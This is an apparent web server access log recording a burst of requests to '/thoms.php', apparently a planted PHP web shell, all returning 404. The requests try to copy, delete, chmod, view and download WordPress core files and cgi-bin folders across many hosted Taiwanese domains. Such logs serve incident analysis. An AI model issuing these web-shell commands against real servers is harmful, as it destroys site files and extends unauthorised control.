45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?chmod=Requests&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?chmod=wp-db.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?del=theme-compat&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?dl=style-engine.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fauthor-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fauthor-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:18 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-files.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?chmod=media.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?chmod=feed-rss.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?dl=post-formats.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?del=class-wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?chmod=abilities-api.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?chmod=class-IXR.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?dl=class-json.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:19 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?del=https-detection.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?del=media.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?chmod=block-patterns&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?dl=feed-atom.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-blogs.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-blogs.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:20 -0400] "GET /thoms.php?chmod=ms-network.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?dl=taxonomy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?dl=shortcodes.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?dl=template-loader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fwp-diff.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fwp-diff.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?del=class-wp-locale.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?chmod=ms-files.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
